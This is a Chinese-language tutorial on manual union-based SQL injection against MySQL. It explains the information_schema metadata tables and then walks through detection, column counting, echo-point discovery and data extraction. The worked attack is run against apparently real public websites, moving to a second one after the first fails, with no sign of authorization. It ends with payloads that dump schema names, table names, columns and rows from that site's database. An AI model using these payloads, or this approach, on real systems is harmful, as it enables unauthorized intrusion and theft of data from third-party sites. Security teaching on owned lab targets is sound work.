MySQL元数据库
MySQL的元数据库是一组特殊的数据库,用于存储MySQL服务器的元数据信息,在sql注入中较为常用为以下两种元数据库:
-
information_schema:这个数据库包含了MySQL服务器上所有其他数据库的元数据信息。例如数据库名、表名、列的数据类型或访问权限等。
-
mysql:这是MySQL的核心数据库,存储了用户权限设置、数据库的用户、关键字等。
sql注入中元数据库的应用
information_schema元数据库中需要了解 tables 数据表 和 clomuns 数据表,以下是两种数据表的应用
tables数据表:存放所有数据库及数据表信息
主要字段:
1.table_schema: 存放所有数据表对应的数据库名。每一条数据表名信息,对应一条table_schema字段的值,其值为数据表名所在的数据库名。
2.table_name:包含所有数据表信息,需引用table_schema字段信息进行查询
查询指定数据库中的所有表
SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA='库名';
查pikachu询数据库中所有表
SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA='pikachu';
在information_schema数据库中的tables表,查询满足条件TABLE_SCHEMA字段值为pikachu,的TABLE_NAME字段的值
columns数据表:存放数据库,数据表及其字段信息。
主要字段:
1.TABLE_NAME:存放数据表名,数据表每一条字段信息,对应一条TABLE_NAME的值,其值为字段所在的数据表名
2.COLUMN_NAME:存放所有字段名,需引用table_name字段值进行查询
3.TABLE_SCHEMA:存放所有字段对应的数据库名。每一条字段信息,对应一条table_schema字段的值,其值为字段所在的数据库名。与TABLE_NAME联用进行精确查询
查询指定表中的所有字段名
SELECT COLUMN_NAME FROM information_schema.columns WHERE TABLE_NAME='表名' AND TABLE_SCHEMA='库名';
查询pikachu数据库下users表中的所有字段
SELECT COLUMN_NAME FROM information_schema.columns WHERE TABLE_NAME='users' AND TABLE_SCHEMA='pikachu';
其余元数据查询
查询数据库数量及名称
select schema_name from information_schema.schemata
手工SQL注入
url:https://tpsldh.com/about.php?id=1
1.判断是否存在漏洞
页面:回显异常,sql报错回显,大概率存在注入漏洞
2.拼接布尔语句判断注入点类型
数值型: https://tpsldh.com/about.php?id=1 and 1=2
页面:无报错,回显正常
字符型:
<1> ?id=1' and 1=2 --+【--+为注释符,注释后续sql语句】
页面:回显异常
<2> ?id=1' and 1=1 --+【--+为注释符,注释后续sql语句】
页面:回显正常
拼接字符型sql语句,服务器正常执行,判断注入点为字符型
3.判断字符型参数闭合类型
<1> 单引号 ?id=1'
页面:回显异常
<2>双引号 ?id=1"
页面:回显正常
拼接单引号会触发sql语法报错。拼接双引号sql语句查询时,忽略多余字符,正常回显。判断闭合类型为单引号
4.拼接order by 对查询结果进行排序,判断页面引用数据库字段数
如果ORDER BY
指定的列名在查询的表中不存在,将会报错。列名可以数字代替
?id=1' order by 1 --+
?id=1' order by 2 --+
................
?id=1' order by 6 --+
页面:正常回显
?id=1' order by 7 --+
页面:回显异常
逻辑:将查询结果指定第七列进行排序时,触发sql语法报错。指定第六列排序,页面回显正常。可以得出该页面引用数据库所在数据表的字段数为6位
5.更改原参数,使原查询失效并拼接union联合查询,判断回显点
UNION
操作符用于合并两个或多个 SELECT
语句的结果集,生成单个结果集。
?id=-1'union select 1,2,3,4,5,6 --+
页面:出现拼接回显数字
逻辑:所有union联合查询多个结果集时,由于原参数失效,使页面回显拼接的结果集,从而判断回显点
出现意外,不适合新手实操,更换网站
https://www.csi-india.org/news/index.php?id=18
注入点类型:数值
sql报错回显:无
sql语句执行:顺利
字段数:8
回显点:3,4,5,6
6.拼接系统函数,获取数据库信息
载荷:?id=-18 union select 1,2,version(),@@datadir,database(),user(),7,8 --+
页面:回显点回显数据库参数
逻辑:数据库执行函数并返回结果拼接入回显点
7.元数据库查询数据库数量及信息
载荷:?id=-18 union select 1,2,group_concat(schema_name),4,5,6,7,8 from information_schema.schemata --+
页面:回显当前用户权限可查询的数据库信息
逻辑:元数据库查询信息并拼接入结果集中返回。由于·union 会去除重复的行,而查询的结果可能包含多个行,为防止数据丢失,使用group_concat函数,将多个行的值拼接为一个字符串,并使用逗号分割。
8.查询当前数据库下有哪些表
载荷:?id=-18 union select 1,2,group_concat(TABLE_NAME),4,5,6,7,8 from information_schema.tables where TABLE_SCHEMA=database() --+
页面:回显当前数据库下的数据表
逻辑:查询元数据库信息,语句意义见上文。database()返回当前数据库名,用作查询条件
9.查询数据表下有哪些字段
载荷:?id=-18 union select 1,2,group_concat(column_name),4,5,6,7,8 from information_schema.columns where table_name='news' --+
页面:回显字段名
逻辑:查询元数据库信息,语句意义见上文,指定查询数据表news内字段名
10.查询数据
<1>查询多个数据
载荷:
?id=-18 union select 1,2,(select concat(news_id,serial_no,news_title,news_description,news_file_path,file_doc,news_status,news_date) from csiindia_portal.news ),4,5,6,7,8 --+
页面:回显数据
逻辑:使用select子句查询所有数据,可拼接其他字符或换行符,通过limit控制回显条目。group_concat
在 MySQL 中有一个默认的长度限制(通常为 1024 字节)。如果合并的结果超出这个长度,返回的字符串将被截断。
<2>查询单个字段所有数据
载荷:?id=-18 union select 1,2,(select group_concat(news_title) from csiindia_portal.news ),4,5,6,7,8 --+
页面:回显数据